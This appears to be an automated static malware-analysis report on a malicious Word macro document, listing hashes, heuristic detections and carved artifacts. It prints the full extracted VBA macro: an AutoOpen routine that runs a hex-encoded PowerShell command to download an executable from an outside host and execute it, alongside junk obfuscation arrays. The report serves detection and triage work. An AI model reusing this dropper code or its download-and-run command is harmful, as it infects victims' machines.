Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0da999c140a03fca…

MALICIOUS

Office (OOXML)

56.9 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-04-10
MD5: 53ba6bef01ad4f5527d590b19a9d0a86 SHA-1: 1f40a1dff99949d6105bc87bf300074c088963c1 SHA-256: 0da999c140a03fca75adea5fea049588ea840ee152ede6d981a9d8b39b1e88fc
192 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164392E657865272C24656E763A54656D702B275C69732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C69732E657865 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3391 bytes
SHA-256: fbcb3aaa0bcb75a512186931f92fc16e5326b3b1085d5ce4b14b89653360e58d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub aya()

Local $stqwguio = ["tbxynjanlwdxnugpdckyjfyzt" ,BitNot(BitRotate(BitXOR(12487,2203))) ,"matnwobztyynoghaskqewjkaa" ,Int(BitOr(60056,1410)) ,BitAnd(Sqrt(7279),3021) ,Int(BitXOR(BitOr(96377,4039),90)) ,BitNot(BitOr(BitRotate(89901),8588)) ,"hnapcpxkgqjwdtqtkjsmypamc" ,"arjtvufthdzvjzcuoojyloevv" ,BitRotate(BitRotate(BitAnd(59645,5261))) ,Sqrt(BitNot(BitRotate(40406))) ]
Local $lnxtytgysn = [BitAnd(BitAnd(50938,9140),7807) ,"jeqqqrhzelvfltworfftpanee" ,BitNot(BitOr(1844,1940)) ,"oestpsbdgvldhtizdevaqtzgf" ,Int(Sqrt(BitAnd(41381,335))) ,"xfuymmaoxspvcwtdzmynuycio" ,BitAnd(Int(BitAnd(84797,7152)),1460) ,"ltpkbmdusxodtrsifeaiaexgu" ,Int(Sqrt(31888)) ,Sqrt(BitXOR(BitOr(48303,5352),7970)) ,BitRotate(BitRotate(74710)) ,BitRotate(BitXOR(67641,8319)) ,BitRotate(BitXOR(19338,2381)) ,"ldlfctexicbkljxtwxhxrjdxu" ,"ltgrscfywuywskorfrjncmnsa" ,BitRotate(BitAnd(BitAnd(45833,4302),3382)) ,Sqrt(BitXOR(BitRotate(6724),4980)) ]
Local $bhkr = ["ntwnlmlmllawpgsmpkwytstvm" ,"mtvwsptxyuiszgsglfrtpsjld" ,Int(BitXOR(BitOr(54738,9804),2973)) ,"zftubuchupcbwrvlduhuosyuy" ,"yyzjuexiuufhdmrwlqbkuestd" ,Int(BitNot(89250)) ,"dyjmkkmxbawfrlitwwkytycyl" ,Sqrt(BitXOR(25857,3619)) ,BitXOR(BitRotate(BitXOR(83178,9504)),2087) ,BitRotate(BitOr(BitOr(69736,7682),877)) ,BitRotate(BitRotate(68185)) ,"husfdgdfcuiyxrstbloiyrupo" ,"aiagrqlgjpapfvzafdvuiecrf" ,"pqzaaswrxalbwreeisnsinzob" ,BitXOR(Sqrt(91193),7995) ,BitAnd(BitXOR(BitOr(50263,2496),3830),6964) ,BitXOR(BitOr(Int(35647),6669),3279) ,"ixxfqsqvhmdfibwsnkyurmoen" ,"pbsafabpejjrxcdwnjgunfrrc" ,BitAnd(Sqrt(81406),7565) ,"afctabzjjpsfugvxguehotlof" ,BitRotate(BitNot(89994)) ]
Local $luicti = ["exlhcuvhutqfkskyiusyrcxnj" ,BitXOR(BitXOR(76677,3295),6675) ,BitXOR(BitOr(15628,27),7127) ,BitNot(BitOr(8784,2676)) ,"njkulqeymlycnobiwfxfjxywk" ,Int(BitRotate(87785)) ,BitNot(BitNot(57395)) ,"sppsigbjnimxqvsfltjckvgyg" ,Sqrt(BitRotate(32092)) ,BitXOR(BitAnd(BitXOR(29204,2083),2729),7988) ,"ozbkzooffpzuuxdgbohwvjsvp" ,Int(Sqrt(61160)) ,"jtkkgymzctntiagmoblpcxsnd" ,BitRotate(BitAnd(85739,3483)) ,BitRotate(BitOr(BitAnd(18541,1272),7515)) ,Int(BitRotate(BitOr(85878,885))) ,BitAnd(BitRotate(Sqrt(69023)),3097) ,BitRotate(BitRotate(BitAnd(2202,9031))) ,"jyxalhogykphzbbmgbyjpkwoz" ,"ekfogumesgkbmobghkpsuknuh" ,Sqrt(BitXOR(99436,4704)) ,Int(BitOr(BitNot(12772),4189)) ]


End Sub



Sub saya()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164392E657865272C24656E763A54656D702B275C69732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C69732E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
saya
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: c437c3cbfb4f2ca16e9fe726fb4d4f43957ca33b5db9c1ae226054390ef73108
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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